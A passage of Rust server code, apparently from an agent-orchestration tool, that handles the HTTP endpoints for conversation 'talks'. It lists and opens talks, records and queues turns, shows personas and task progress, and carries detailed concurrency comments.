8112        // This owned value is the display DTO; never write it back to the talk store.
8113        let snapshot = talk.clone();
8114        for (index, turn) in talk.turns.iter_mut().enumerate() {
8115            let original = &snapshot.turns[index];
8116            if turn.messages.is_empty() {
8117                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8118                    turn.messages.push(talk::Message {
8119                        sender: Some(talk::Sender::Magi),
8120                        body: original.body.clone(),
8121                        display: Some(display),
8122                        attachments: original.attachments.clone(),
8123                        reply: None,
8124                    });
8125                }
8126            } else {
8127                for (i, message) in turn.messages.iter_mut().enumerate() {
8128                    message.display =
8129                        talk::notice_display(&snapshot, original, original.messages.get(i));
8130                    if message.display.is_some() {
8131                        message.sender = Some(talk::Sender::Magi);
8132                    }
8133                }
8134            }
8135        }
8136        for message in &mut talk.pending_messages {
8137            if message.display.is_none()
8138                && (message.sender == Some(talk::Sender::Magi)
8139                    || snapshot
8140                        .completion_notices
8141                        .iter()
8142                        .any(|r| r.notice == message.body))
8143            {
8144                message.display = crate::prompt::legacy_notice_display(&message.body);
8145                if message.display.is_some() {
8146                    message.sender = Some(talk::Sender::Magi);
8147                }
8148            }
8149        }
8150        if talk.pending_messages.is_empty()
8151            && snapshot
8152                .completion_notices
8153                .iter()
8154                .any(|r| r.notice == talk.pending)
8155            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8156        {
8157            talk.pending_messages.push(talk::Message {
8158                sender: Some(talk::Sender::Magi),
8159                display: Some(display),
8160                body: talk.pending.clone(),
8161                attachments: talk.pending_attachments.clone(),
8162                reply: None,
8163            });
8164        }
8165        let excerpts: Vec<Vec<Option<String>>> = talk
8166            .turns
8167            .iter()
8168            .map(|turn| {
8169                turn.messages
8170                    .iter()
8171                    .map(|m| {
8172                        m.display
8173                            .as_ref()
8174                            .map(|d| d.facts.chars().take(240).collect())
8175                    })
8176                    .collect()
8177            })
8178            .collect();
8179        for turn in &mut talk.turns {
8180            let provenance = talk::sender(turn, None);
8181            turn.sender = Some(provenance);
8182            for message in &mut turn.messages {
8183                message.sender = Some(message.sender.unwrap_or(provenance));
8184            }
8185        }
8186        // Old reply snapshots have only a role; recover provenance from their target.
8187        let senders: Vec<Vec<talk::Sender>> = talk
8188            .turns
8189            .iter()
8190            .map(|turn| {
8191                if turn.messages.is_empty() {
8192                    vec![talk::sender(turn, None)]
8193                } else {
8194                    turn.messages
8195                        .iter()
8196                        .map(|m| talk::sender(turn, Some(m)))
8197                        .collect()
8198                }
8199            })
8200            .collect();
8201        for reply in talk
8202            .turns
8203            .iter_mut()
8204            .flat_map(|t| t.messages.iter_mut())
8205            .chain(talk.pending_messages.iter_mut())
8206            .filter_map(|m| m.reply.as_mut())
8207        {
8208            if let Some(Some(excerpt)) = excerpts
8209                .get(reply.target.turn)
8210                .and_then(|ms| ms.get(reply.target.message))
8211            {
8212                reply.excerpt = excerpt.clone();
8213                reply.sender = Some(talk::Sender::Magi);
8214            }
8215            if reply.sender.is_none() {
8216                reply.sender = senders
8217                    .get(reply.target.turn)
8218                    .and_then(|messages| messages.get(reply.target.message))
8219                    .copied();
8220            }
8221        }
8222        let context = talk::context_usage(&talk, cfg);
8223        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8224            .turns
8225            .iter()
8226            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8227            .collect();
8228        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8229            .turns
8230            .iter()
8231            .map(|turn| {
8232                if turn.messages.is_empty() {
8233                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8234                } else {
8235                    turn.messages
8236                        .iter()
8237                        .map(|message| {
8238                            notice_markdown(
8239                                message.sender.unwrap_or(talk::Sender::Operator),
8240                                &message.body,
8241                                message.display.as_ref(),
8242                            )
8243                        })
8244                        .collect()
8245                }
8246            })
8247            .collect();
8248        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8249            .pending_messages
8250            .iter()
8251            .map(|message| {
8252                notice_markdown(
8253                    message.sender.unwrap_or(talk::Sender::Operator),
8254                    &message.body,
8255                    message.display.as_ref(),
8256                )
8257            })
8258            .collect();
8259        for nodes in &mut turn_bodies_md {
8260            references.markdown(nodes);
8261        }
8262        for nodes in turn_messages_md
8263            .iter_mut()
8264            .flatten()
8265            .chain(pending_messages_md.iter_mut())
8266            .flatten()
8267        {
8268            references.markdown(nodes);
8269        }
8270        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8271        let persona_name = persona::find(specs, &talk.persona)
8272            .filter(|p| !p.is_default())
8273            .map(|p| p.name);
8274        let mut avatar_persona = persona::find(specs, &talk.persona)
8275            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8276        // A removed configured persona may still have an override and old talks.
8277        if avatar_persona.id != talk.persona
8278            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8279        {
8280            avatar_persona.id.clone_from(&talk.persona);
8281            avatar_persona.icon = None;
8282        }
8283        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8284        let approvals_store = ask::Questions::at(home.join("questions"));
8285        let merge_approvals = talk
8286            .notified
8287            .iter()
8288            .filter_map(|key| key.strip_prefix("question:"))
8289            .filter_map(|id| approvals_store.get(id).ok())
8290            .filter(|q| crate::task_chat::approval_offered(&talk, q))
8291            .filter_map(|q| {
8292                Some(ChatApproval {
8293                    question: q.id,
8294                    target: q.merge_target?,
8295                })
8296            })
8297            .collect();
8298        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8299        Self {
8300            turn_bodies_md,
8301            turn_messages_md,
8302            pending_messages_md,
8303            merge_approvals,
8304            thinking,
8305            context,
8306            operator_name,
8307            persona_name,
8308            persona_avatar,
8309            magi_avatar: magi_icon_url(home),
8310            operator_avatar: operator_icon_url(home),
8311            talk,
8312        }
8313    }
8314}
8315
8316/// Parse only the user-facing representation of an explicitly identified MAGI send.
8317fn notice_markdown(
8318    sender: talk::Sender,
8319    body: &str,
8320    display: Option<&crate::prompt::NoticeDisplay>,
8321) -> Option<Vec<md::Node>> {
8322    if sender != talk::Sender::Magi {
8323        return None;
8324    }
8325    let text = if let Some(display) = display {
8326        display.facts.as_str()
8327    } else {
8328        // Unknown completion templates may contain internal directives. Never
8329        // promote their agent input to the Markdown display surface.
8330        if crate::prompt::is_completion_notice(body)
8331            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8332        {
8333            return None;
8334        }
8335        body.strip_prefix("magi: ").unwrap_or(body)
8336    };
8337    Some(md::to_nodes(text, &md::ImageBase::None))
8338}
8339
8340/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
8341/// conversation has filed, so the phone can follow one from inside the
8342/// conversation that asked for it rather than hunting the Queue for a task id
8343/// it may not remember.
8344#[derive(Debug, Serialize)]
8345struct TalkDetailView {
8346    #[serde(flatten)]
8347    view: TalkView,
8348    tasks: Vec<TaskView>,
8349    task_progress: TalkTaskProgress,
8350    /// The agents this talk's repository can switch to; empty when its
8351    /// configuration cannot be read, which must not fail the whole detail.
8352    roster: Vec<RosterEntry>,
8353    /// The personas the conversation can pick from. The built-ins are always
8354    /// listed, even when the repository's configuration cannot be read.
8355    personas: Vec<PersonaEntry>,
8356}
8357
8358/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
8359#[derive(Debug, Serialize)]
8360struct TalkTaskProgress {
8361    state: &'static str,
8362    total: usize,
8363    done: usize,
8364    counts: std::collections::BTreeMap<&'static str, usize>,
8365    unfinished_ids: Vec<String>,
8366}
8367
8368fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8369    let mut counts = std::collections::BTreeMap::from([
8370        ("queued", 0),
8371        ("running", 0),
8372        ("done", 0),
8373        ("failed", 0),
8374        ("held", 0),
8375        ("blocked", 0),
8376        ("parked", 0),
8377    ]);
8378    let mut unfinished_ids = Vec::new();
8379    for task in tasks {
8380        *counts.entry(task.status.as_str()).or_default() += 1;
8381        if task.status != TaskStatus::Done {
8382            unfinished_ids.push(task.id.clone());
8383        }
8384    }
8385    TalkTaskProgress {
8386        state: if tasks.is_empty() {
8387            "none"
8388        } else if unfinished_ids.is_empty() {
8389            "complete"
8390        } else {
8391            "incomplete"
8392        },
8393        total: tasks.len(),
8394        done: tasks.len() - unfinished_ids.len(),
8395        counts,
8396        unfinished_ids,
8397    }
8398}
8399
8400/// One persona as the talk's persona selector shows it.
8401#[derive(Debug, Serialize)]
8402struct PersonaEntry {
8403    id: String,
8404    name: String,
8405    /// Avatar URL, see [`TalkView::persona_avatar`].
8406    avatar: String,
8407}
8408
8409/// One roster agent as the talk's agent selector shows it.
8410#[derive(Debug, Serialize)]
8411struct RosterEntry {
8412    id: String,
8413    kind: AgentKind,
8414    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
8415    runnable: bool,
8416}
8417
8418/// `GET /api/talks`.
8419///
8420/// Every conversation, open ones first and newest first - [`Talks::list`]'s
8421/// own order.
8422async fn talks_list(
8423    State(ui): State<Arc<Ui>>,
8424    Query(q): Query<ListQuery>,
8425) -> ApiResult<Json<Vec<TalkView>>> {
8426    blocking(move || {
8427        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
8428        let talks = q.ids.as_ref().map_or_else(
8429            || ui.talks.list(),
8430            |ids| {
8431                ids.split(',')
8432                    .filter(|id| plain_record_id(id))
8433                    .filter_map(|id| ui.talks.get(id).ok())
8434                    .collect()
8435            },
8436        );
8437        let references = if talks.iter().any(id_links::has_references) {
8438            ui.references.get(
8439                &ui.runs,
8440                &ui.queue,
8441                &ui.questions,
8442                &ui.talks,
8443                talks.iter().any(id_links::has_findings),
8444            )
8445        } else {
8446            Arc::new(id_links::IdIndex::default())
8447        };
8448        Ok(Json(
8449            talks
8450                .into_iter()
8451                .filter(|talk| q.contains(&talk.id))
8452                .map(|talk| {
8453                    let thinking = ui.is_thinking(&talk.id);
8454                    let cfg = configs
8455                        .entry(talk.repo.clone())
8456                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
8457                    TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
8458                })
8459                .collect(),
8460        ))
8461    })
8462    .await
8463}
8464
8465/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
8466/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
8467/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
8468/// end still opens a talk against an older binary.
8469#[derive(Debug, Default, Deserialize)]
8470#[serde(default)]
8471struct NewTalk {
8472    agent: Option<String>,
8473    repo: Option<PathBuf>,
8474    /// Remembered choices from the browser. Soft: kept as raw JSON so a
8475    /// wrong type is dropped like a stale value instead of failing the request;
8476    /// each falls back to its default on its own (see [`talk::begin_with`]).
8477    preferred_agent: Option<serde_json::Value>,
8478    persona: Option<serde_json::Value>,
8479    implementers: Option<serde_json::Value>,
8480}
8481
8482/// `POST /api/talks` - open a conversation. Takes no agent turn: see
8483/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
8484async fn talk_post(
8485    State(ui): State<Arc<Ui>>,
8486    body: std::result::Result<Json<NewTalk>, JsonRejection>,
8487) -> ApiResult<impl IntoResponse> {
8488    // An absent body, or an empty one, is the normal way to open a talk - see
8489    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
8490    // rather than refused.
8491    let body = match body {
8492        Ok(Json(body)) => body,
8493        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8494        Err(e) => return Err(ApiError::bad_request(e.body_text())),
8495    };
8496    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8497    let cfg = config_for(&repo).await?;
8498    let view = blocking(move || {
8499        let preferred = talk::Preferred {
8500            agent: body
8501                .preferred_agent
8502                .as_ref()
8503                .and_then(|v| v.as_str())
8504                .map(str::to_owned),
8505            persona: body
8506                .persona
8507                .as_ref()
8508                .and_then(|v| v.as_str())
8509                .map(str::to_owned),
8510            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8511        };
8512        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8513        let thinking = ui.is_thinking(&talk.id);
8514        Ok(TalkView::new(talk, thinking, &ui))
8515    })
8516    .await?;
8517    Ok((StatusCode::CREATED, Json(view)))
8518}
8519
8520/// Transcript first: unrelated queue history and repository probes are deferred.
8521async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8522    blocking(move || {
8523        let id = resolve_talk(&ui.talks, &id)?;
8524        let talk = ui.talks.get(&id)?;
8525        let thinking = ui.is_thinking(&id);
8526        // The browser already resolves Markdown text/code references after
8527        // rendering. A cold reference/review index must not gate the transcript.
8528        Ok(Json(TalkView::with_references(
8529            talk,
8530            thinking,
8531            None,
8532            &ui.home,
8533            &id_links::IdIndex::default(),
8534        )))
8535    })
8536    .await
8537}
8538
8539async fn talk_sections(
8540    State(ui): State<Arc<Ui>>,
8541    Path(id): Path<String>,
8542) -> ApiResult<Json<serde_json::Value>> {
8543    blocking(move || {
8544        let id = resolve_talk(&ui.talks, &id)?;
8545        let talk = ui.talks.get(&id)?;
8546        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8547        let task_progress = talk_task_progress(&tasks);
8548        let tasks: Vec<_> = tasks
8549            .into_iter()
8550            .map(|task| {
8551                serde_json::json!({
8552                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8553                })
8554            })
8555            .collect();
8556        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8557        let roster: Vec<_> = cfg
8558            .as_ref()
8559            .map(|cfg| {
8560                cfg.agents
8561                    .iter()
8562                    .map(|a| RosterEntry {
8563                        id: a.id.clone(),
8564                        kind: a.kind,
8565                        runnable: agent::installed(a),
8566                    })
8567                    .collect()
8568            })
8569            .unwrap_or_default();
8570        let specs = cfg
8571            .as_ref()
8572            .map(|cfg| cfg.talk.personas.clone())
8573            .unwrap_or_default();
8574        let personas: Vec<_> = persona::catalog(&specs)
8575            .into_iter()
8576            .map(|p| PersonaEntry {
8577                avatar: avatar_url(&ui.home, &talk.id, &p),
8578                id: p.id,
8579                name: p.name,
8580            })
8581            .collect();
8582        let active_persona = persona::find(&specs, &talk.persona)
8583            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8584        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8585        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8586        Ok(Json(serde_json::json!({
8587            "tasks": tasks, "task_progress": task_progress,
8588            "roster": roster, "personas": personas,
8589            "context": talk::context_usage(&talk, cfg.as_ref()),
8590            "context_for": talk.updated_at,
8591            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8592            "persona_name": persona_name,
8593            "persona_avatar": persona_avatar,
8594        })))
8595    })
8596    .await
8597}
8598
8599/// `GET /api/talks/{id}`.
8600async fn talk_detail(
8601    State(ui): State<Arc<Ui>>,
8602    Path(id): Path<String>,
8603) -> ApiResult<Json<TalkDetailView>> {
8604    blocking(move || {
8605        let id = resolve_talk(&ui.talks, &id)?;
8606        let talk = ui.talks.get(&id)?;
8607        let thinking = ui.is_thinking(&talk.id);
8608        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8609        let task_progress = talk_task_progress(&tasks);
8610        let tasks = tasks.into_iter().map(TaskView::from).collect();
8611        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8612        let roster = cfg
8613            .as_ref()
8614            .map(|cfg| {
8615                cfg.agents
8616                    .iter()
8617                    .map(|a| RosterEntry {
8618                        id: a.id.clone(),
8619                        kind: a.kind,
8620                        runnable: agent::installed(a),
8621                    })
8622                    .collect()
8623            })
8624            .unwrap_or_default();
8625        let specs = cfg
8626            .as_ref()
8627            .map(|cfg| cfg.talk.personas.clone())
8628            .unwrap_or_default();
8629        let personas = persona::catalog(&specs)
8630            .into_iter()
8631            .map(|p| PersonaEntry {
8632                avatar: avatar_url(&ui.home, &talk.id, &p),
8633                id: p.id,
8634                name: p.name,
8635            })
8636            .collect();
8637        Ok(Json(TalkDetailView {
8638            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8639            tasks,
8640            task_progress,
8641            roster,
8642            personas,
8643        }))
8644    })
8645    .await
8646}
8647
8648/// The body of `POST /api/talks/{id}/say`.
8649///
8650/// `attachments` names ids `POST /api/talks/{id}/attachments` already
8651/// returned - never bytes of its own - so a turn with no images just omits
8652/// the field, which is what an older front end still does.
8653#[derive(Debug, Default, Deserialize)]
8654#[serde(default, deny_unknown_fields)]
8655struct NewTalkTurn {
8656    reply_to: Option<talk::ReplyTarget>,
8657    text: String,
8658    attachments: Vec<String>,
8659}
8660
8661#[derive(Debug, Deserialize)]
8662#[serde(deny_unknown_fields)]
8663struct EditTalkPending {
8664    #[serde(default)]
8665    message: Option<usize>,
8666    text: String,
8667    expected_text: String,
8668    expected_attachments: Vec<String>,
8669}
8670
8671#[derive(Debug, Deserialize)]
8672#[serde(deny_unknown_fields)]
8673struct ClearTalkPending {
8674    expected_text: String,
8675    expected_attachments: Vec<String>,
8676}
8677
8678/// `POST /api/talks/{id}/say` - one turn of the conversation.
8679///
8680/// Not filesystem work, and therefore not routed through [`blocking`]: this
8681/// route spawns an agent CLI and a turn here can run for the whole of
8682/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
8683/// research turn is expected to run commands rather than answer from what it
8684/// already knows. Holding an HTTP connection open that long is not a thing
8685/// to ask a phone to do; the operator's message is recorded and answered for
8686/// immediately, and the reply lands in the background, discovered through
8687/// the change stream's `talks_rev` the same way every other update on this
8688/// surface is.
8689async fn talk_say(
8690    State(ui): State<Arc<Ui>>,
8691    Path(id): Path<String>,
8692    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8693) -> ApiResult<(StatusCode, Json<TalkView>)> {
8694    let admission = ui.begin_admission()?;
8695    admitted(admission, async move {
8696    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8697    if body.text.trim().is_empty() && body.attachments.is_empty() {
8698        return Err(ApiError::bad_request("say something"));
8699    }
8700
8701    let id = {
8702        let ui = Arc::clone(&ui);
8703        let asked = id.clone();
8704        blocking(move || resolve_talk(&ui.talks, &asked)).await?
8705    };
8706    // A closed Talk never accepts a new immediate or queued turn. Check this
8707    // before claiming a slot so its ordinary domain refusal is a 409, not an
8708    // incidental failure from the later record/queue write.
8709    {
8710        let ui = Arc::clone(&ui);
8711        let id = id.clone();
8712        blocking(move || {
8713            let talk = ui.talks.get(&id)?;
8714            if !talk.status.open() {
8715                return Err(ApiError::conflict(format!(
8716                    "talk {} is {} and takes no more turns",
8717                    talk.short(),
8718                    talk.status.as_str()
8719                )));
8720            }
8721            Ok(())
8722        })
8723        .await?;
8724    }
8725
8726    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
8727    // actually stores, before anything is written - an unknown id is a 4xx
8728    // that names it rather than a turn (or a queued draft) silently missing
8729    // an image.
8730    let attachments = {
8731        let ui = Arc::clone(&ui);
8732        let id = id.clone();
8733        let ids = body.attachments.clone();
8734        blocking(move || {
8735            ids.into_iter()
8736                .map(|att_id| {
8737                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
8738                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
8739                    })
8740                })
8741                .collect::<ApiResult<Vec<talk::Attachment>>>()
8742        })
8743        .await?
8744    };
8745    let _publication = crate::consult::publication_guard(&ui.talks, &id)
8746        .await.map_err(ApiError::from)?;
8747
8748    // Pending recovery and a new immediate turn are decided under the same
8749    // claim lock. Without that one critical section, a second `/say` can see
8750    // the first request's claim as "busy" and append itself to the recovered
8751    // draft before the first request rejects it.
8752    let start = {
8753        let ui = Arc::clone(&ui);
8754        let id = id.clone();
8755        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
8756    };
8757    let turn_guard = match start {
8758        TalkTurnStart::Claimed(turn_guard) => turn_guard,
8759        TalkTurnStart::Pending => {
8760            return Err(ApiError::conflict(
8761                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
8762            ));
8763        }
8764        TalkTurnStart::Foreign => {
8765            return Err(ApiError::conflict(
8766                "a turn is already running in another process; try again when it has finished",
8767            ));
8768        }
8769        TalkTurnStart::Busy => {
8770            // A turn is already running: queue rather than refuse. See
8771            // `Ui::begin_talk_turn` and `talk::queue`.
8772            //
8773            // The queue write and the drain it may owe live inside the task
8774            // `tokio::spawn` hands to the runtime, for the same reason the
8775            // immediate path below puts `record` there: a dropped handler
8776            // future must not be able to land between a durable write and
8777            // the task that answers it. `blocking` runs its closure on
8778            // `spawn_blocking`, which finishes whether or not anyone is left
8779            // to receive its result - so a disconnect at the `.await` below
8780            // would otherwise leave the draft persisted and the reclaimed
8781            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
8782            // ever started and the queued text stranded until some later
8783            // `say` happened to pick it up. The caller's 202 travels back
8784            // over a `oneshot`, sent the moment the write lands.
8785            let (tx, rx) = tokio::sync::oneshot::channel();
8786            tokio::spawn({
8787                let ui = Arc::clone(&ui);
8788                let id = id.clone();
8789                let said = body.text.clone();
8790                let reply_to = body.reply_to.clone();
8791                async move {
8792                    let written = blocking({
8793                        let ui = Arc::clone(&ui);
8794                        let id = id.clone();
8795                        move || {
8796                            let mut talk = ui.talks.get(&id)?;
8797                            // A test-only stop point, right before the write
8798                            // an interleaving test needs to pin - see
8799                            // `BusyQueueGate`. `None` in every real server:
8800                            // the field only exists under `#[cfg(test)]`.
8801                            #[cfg(test)]
8802                            if let Some(gate) = ui
8803                                .busy_queue_gate
8804                                .lock()
8805                                .unwrap_or_else(PoisonError::into_inner)
8806                                .take()
8807                            {
8808                                let _ = gate.reached.send(());
8809                                let _ = gate.release.recv();
8810                            }
8811                            if let Err(error) = talk::queue_reply(
8812                                &mut talk,
8813                                &ui.talks,
8814                                &said,
8815                                attachments,
8816                                reply_to,
8817                            ) {
8818                                if let Ok(fresh) = ui.talks.get(&id) {
8819                                    if !fresh.status.open() {
8820                                        return Err(ApiError::conflict(format!(
8821                                            "talk {} is {} and takes no more turns",
8822                                            fresh.short(),
8823                                            fresh.status.as_str()
8824                                        )));
8825                                    }
8826                                }
8827                                return Err(
8828                                    if error.to_string().contains("invalid reply target") {
8829                                        ApiError::bad_request("invalid reply target")
8830                                    } else {
8831                                        ApiError::from(error)
8832                                    },
8833                                );
8834                            }
8835                            // The turn that looked busy a moment ago can have
8836                            // finished, found nothing to drain and given up the
8837                            // slot in the gap between that check and this write
8838                            // landing - see `drain_loop`'s own doc for the other
8839                            // half of why that gap would otherwise be able to
8840                            // open at all. Reclaiming the slot here, rather than
8841                            // trusting that whoever held it is still watching, is
8842                            // what stops the text just queued from being stranded
8843                            // until an unrelated future `say` happens to drain
8844                            // it.
8845                            let claim = match ui.begin_queued_talk_turn(&id)? {
8846                                Some(turn_guard) => {
8847                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
8848                                    Some((talk.clone(), cfg, turn_guard))
8849                                }
8850                                None => None,
8851                            };
8852                            let thinking = ui.is_thinking(&id);
8853                            Ok((TalkView::new(talk, thinking, &ui), claim))
8854                        }
8855                    })
8856                    .await;
8857                    #[cfg(not(test))]
8858                    {
8859                        match written {
8860                            Ok((view, reclaimed)) => {
8861                                let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
8862                                drop(reclaimed);
8863                                match launched {
8864                                    Ok(_) => { let _ = tx.send(Ok(view)); }
8865                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8866                                }
8867                            }
8868                            Err(error) => { let _ = tx.send(Err(error)); }
8869                        }
8870                    }
8871                    #[cfg(test)]
8872                    {
8873                    let (view, reclaimed) = match written {
8874                        Ok(pair) => pair,
8875                        Err(e) => {
8876                            // Nobody is listening if the handler's own future
8877                            // was already dropped - that is fine, nothing was
8878                            // persisted and there is no response left to carry
8879                            // this error to.
8880                            let _ = tx.send(Err(e));
8881                            return;
8882                        }
8883                    };
8884                    // If this fails, the caller is gone; the drain below still
8885                    // runs exactly as it would have for a caller that stayed.
8886                    let _ = tx.send(Ok(view));
8887                    if let Some((talk, cfg, turn_guard)) = reclaimed {
8888                        let talks = ui.talks.clone();
8889                        drain_loop(talk, talks, cfg, id, turn_guard).await;
8890                    }
8891                    }
8892                }
8893            });
8894            let view = rx
8895                .await
8896                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8897            return Ok((StatusCode::ACCEPTED, Json(view)));
8898        }
8899    };
8900
8901    let (talk, cfg) = {
8902        let ui = Arc::clone(&ui);
8903        let id = id.clone();
8904        blocking(move || {
8905            let talk = ui.talks.get(&id)?;
8906            let (cfg, _) = Config::discover(&talk.repo, None)?;
8907            Ok((talk, cfg))
8908        })
8909        .await?
8910    };
8911
8912    let talks = ui.talks.clone();
8913    // `record` runs *inside* the spawned task, rather than in this handler
8914    // followed by a separate `tokio::spawn` for `respond` - axum drops this
8915    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
8916    // doc), and that drop can land at any `.await` this function makes,
8917    // including one that has already produced its result but not yet
8918    // resumed. A message could end up recorded on disk with the handler
8919    // future gone before it ever reached the `tokio::spawn` that would have
8920    // started the reply. `tokio::spawn` itself is a plain, synchronous call
8921    // that hands the whole future to the runtime as one unit - once made, no
8922    // later drop of *this* handler's own future (that call's return value is
8923    // never held onto here) can reach back in and stop it, so record and the
8924    // hand-off to `respond` are unconditionally atomic from the client's
8925    // point of view. The immediate response this handler owes the caller
8926    // travels back over a `oneshot`, sent the moment `record` succeeds.
8927    let (tx, rx) = tokio::sync::oneshot::channel();
8928    tokio::spawn({
8929        #[cfg(test)]
8930        let ui = Arc::clone(&ui);
8931        let talks = talks.clone();
8932        let id = id.clone();
8933        let said = body.text.clone();
8934        let reply_to = body.reply_to.clone();
8935        let mut talk = talk.clone();
8936        async move {
8937            let recorded = blocking({
8938                let talks = talks.clone();
8939                move || {
8940                    if let Err(error) =
8941                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
8942                    {
8943                        if let Ok(fresh) = talks.get(&talk.id) {
8944                            if !fresh.status.open() {
8945                                return Err(ApiError::conflict(format!(
8946                                    "talk {} is {} and takes no more turns",
8947                                    fresh.short(),
8948                                    fresh.status.as_str()
8949                                )));
8950                            }
8951                        }
8952                        return Err(if error.to_string().contains("invalid reply target") {
8953                            ApiError::bad_request("invalid reply target")
8954                        } else {
8955                            ApiError::from(error)
8956                        });
8957                    }
8958                    // `record` mutates `talk` in place to the freshly persisted
8959                    // state (status, pending, and the just-appended operator
8960                    // turn), so returning it here is equivalent to re-reading it
8961                    // from disk - without the extra round trip a re-read would
8962                    // need.
8963                    Ok((said.trim().to_owned(), talk))
8964                }
8965            })
8966            .await;
8967            let (text, talk) = match recorded {
8968                Ok(pair) => pair,
8969                Err(e) => {
8970                    // Nobody is listening if the handler's own future was
8971                    // already dropped - that is fine, there is no response
8972                    // left to carry this error to and nothing was persisted.
8973                    let _ = tx.send(Err(e));
8974                    return;
8975                }
8976            };
8977            #[cfg(not(test))]
8978            {
8979                let _ = (&cfg, &text);
8980                // The reservation becomes durable while this process still
8981                // holds the talk lease. The child waits for that lease; the
8982                // new UI sees its startup reservation immediately.
8983                let result = crate::consult::spawn_recorded_turn(
8984                    &talks, &id, talk.turns.len() - 1,
8985                ).await;
8986                drop(turn_guard);
8987                match result {
8988                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
8989                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8990                }
8991            }
8992            #[cfg(test)]
8993            {
8994            let queued = talk.clone();
8995            let mut talk = talk;
8996            let thinking = ui.is_thinking(&id);
8997            // If this fails, the caller is gone; the turn still runs below
8998            // exactly as it would have for a caller that stayed connected.
8999            let _ = tx.send(Ok((queued, thinking)));
9000
9001            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9002                // `respond` records the failure in the transcript itself,
9003                // which is what the phone reads; this line is for the
9004                // operator's terminal.
9005                tracing::warn!("talk {id} turn failed: {e:#}");
9006            }
9007            // Anything `talk::queue` added while the turn above was running
9008            // is still owed an answer - see `drain_loop`.
9009            drain_loop(talk, talks, cfg, id, turn_guard).await;
9010            }
9011        }
9012    });
9013
9014    let (queued, thinking) = rx
9015        .await
9016        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9017
9018    // 202: the operator's message is recorded and a turn is running.
9019    Ok((
9020        StatusCode::ACCEPTED,
9021        Json(TalkView::new(queued, thinking, &ui)),
9022    ))
9023    }).await
9024}
9025
9026/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9027/// changing it. The turn guard is the same per-talk ownership `talk_say`
9028/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9029async fn talk_pending_resume(
9030    State(ui): State<Arc<Ui>>,
9031    Path(id): Path<String>,
9032) -> ApiResult<(StatusCode, Json<TalkView>)> {
9033    let admission = ui.begin_admission()?;
9034    admitted(admission, async move {
9035        let id = {
9036            let ui = Arc::clone(&ui);
9037            let asked = id.clone();
9038            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9039        };
9040        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9041            .await
9042            .map_err(ApiError::from)?;
9043        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9044            return Err(ApiError::conflict(
9045                "a talk turn is already running; the queued draft will be handled by it",
9046            ));
9047        };
9048        let (talk, cfg) = {
9049            let ui = Arc::clone(&ui);
9050            let id = id.clone();
9051            blocking(move || {
9052                let talk = ui.talks.get(&id)?;
9053                if !talk.status.open() {
